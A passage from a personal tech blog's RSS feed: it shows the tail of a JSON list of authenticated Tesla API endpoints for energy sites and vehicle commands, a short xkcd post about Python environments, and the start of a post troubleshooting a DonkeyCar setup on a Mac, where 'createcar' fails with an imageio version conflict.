&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;SITE_DATA&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;GET&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/energy_sites/{site_id}/live_status&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;SITE_CONFIG&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;GET&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/energy_sites/{site_id}/site_info&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;HISTORY_DATA&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;GET&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/energy_sites/{site_id}/history&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;BACKUP_RESERVE&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/energy_sites/{site_id}/backup&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;SITE_NAME&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/energy_sites/{site_id}/site_name&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;OPERATION_MODE&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/energy_sites/{site_id}/operation&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TIME_OF_USE_SETTINGS&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/energy_sites/{site_id}/time_of_use_settings&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;STORM_MODE_SETTINGS&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/energy_sites/{site_id}/storm_mode&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;SEND_NOTIFICATION_CONFIRMATION&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/notification_confirmations&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;NAVIGATION_REQUEST&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/vehicles/{vehicle_id}/command/navigation_request&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;REMOTE_SEAT_HEATER_REQUEST&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/vehicles/{vehicle_id}/command/remote_seat_heater_request&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;REMOTE_STEERING_WHEEL_HEATER_REQUEST&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/vehicles/{vehicle_id}/command/remote_steering_wheel_heater_request&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
</description>
    </item>
    
    <item>
      <title>Python</title>
      <link>/post/2019/04/python/</link>
      <pubDate>Thu, 18 Apr 2019 00:00:00 +0000</pubDate>
      
      <guid>/post/2019/04/python/</guid>
      <description>&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/python_environment_2x.png&#34; alt=&#34;https://xkcd.com/1987/&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Getting DonkeyCar working on a Mac</title>
      <link>/post/2019/03/getting-donkeycar-working-on-a-mac/</link>
      <pubDate>Tue, 12 Mar 2019 00:00:00 +0000</pubDate>
      
      <guid>/post/2019/03/getting-donkeycar-working-on-a-mac/</guid>
      <description>&lt;p&gt;I have been &lt;a
	
		href = &#34;http://desigeek.com/blog/amit/2018/05/30/my-self-driving-car/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		playing with a #selfdriving car for a while
	&lt;/span&gt;
&lt;/a&gt;, and that is super exciting. From a #AI and #ML perspective it is small scale but allows one to exploit all aspects of the tech stack and also appreciate the limitations of not only the software but also the hardware.&lt;/p&gt;
&lt;p&gt;With this, You run a NN on a raspberry pi that uses TensorFlow, and Keras and run inference on the edge. The pi doesn&amp;rsquo;t have enough power to train, so you need to do that on a beefier machine and then deploy the model back to run this.&lt;/p&gt;
&lt;p&gt;Now, I didn&amp;rsquo;t have any issues in getting this running on Windows, but getting it on a Mac was a different story. The documentation is there that outlines all the steps, and even if you follow it to the T, it breaks right in the end.&lt;/p&gt;
&lt;p&gt;When I tried to create a car, using a &lt;strong&gt;&lt;code&gt;createcar&lt;/code&gt;&lt;/strong&gt; command (this essentially creates the buckets, where you would save the training images, and the model, and the configuration of the car when you connect to it from your machine). The actual file paths would probably be different for you but, essentially it is the same thing.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;
&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;1&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#1&#34;&gt;1&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;2&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#2&#34;&gt;2&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;3&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#3&#34;&gt;3&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;4&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#4&#34;&gt;4&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;5&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#5&#34;&gt;5&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;6&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#6&#34;&gt;6&lt;/a&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-shell&#34; data-lang=&#34;shell&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;(&lt;/span&gt;donkey&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;)&lt;/span&gt; AMAC02XN1T9JGH5:donkeycar amit.bahree$ donkey createcar ~/mycar
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Traceback &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;(&lt;/span&gt;most recent call last&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;)&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  File &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;/anaconda3/envs/donkey/lib/python3.6/site-packages/setuptools-27.2.0-py3.6.egg/pkg\_resources/\_\_init\_\_.py&amp;#34;&lt;/span&gt;, line 660, in &lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;build&lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;master
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  File &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;/anaconda3/envs/donkey/lib/python3.6/site-packages/setuptools-27.2.0-py3.6.egg/pkg\_resources/\_\_init\_\_.py&amp;#34;&lt;/span&gt;, line 968, in require
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  File &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;/anaconda3/envs/donkey/lib/python3.6/site-packages/setuptools-27.2.0-py3.6.egg/pkg\_resources/\_\_init\_\_.py&amp;#34;&lt;/span&gt;, line 859, in resolve
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pkg&lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;resources.ContextualVersionConflict: &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;(&lt;/span&gt;imageio 2.4.1 &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;(&lt;/span&gt;/anaconda3/envs/donkey/lib/python3.6/site-packages&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;)&lt;/span&gt;, Requirement.parse&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;(&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;imageio&amp;lt;3.0,&amp;gt;=2.5&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;)&lt;/span&gt;, &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;{&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;moviepy&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;})&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;During handling of the above exception, another exception occurred:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;
&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;1&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#1&#34;&gt; 1&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;2&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#2&#34;&gt; 2&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;3&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#3&#34;&gt; 3&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;4&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#4&#34;&gt; 4&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;5&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#5&#34;&gt; 5&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;6&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#6&#34;&gt; 6&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;7&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#7&#34;&gt; 7&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;8&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#8&#34;&gt; 8&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;9&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#9&#34;&gt; 9&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;10&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#10&#34;&gt;10&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;11&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#11&#34;&gt;11&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;12&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#12&#34;&gt;12&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;13&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#13&#34;&gt;13&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;14&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#14&#34;&gt;14&lt;/a&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;
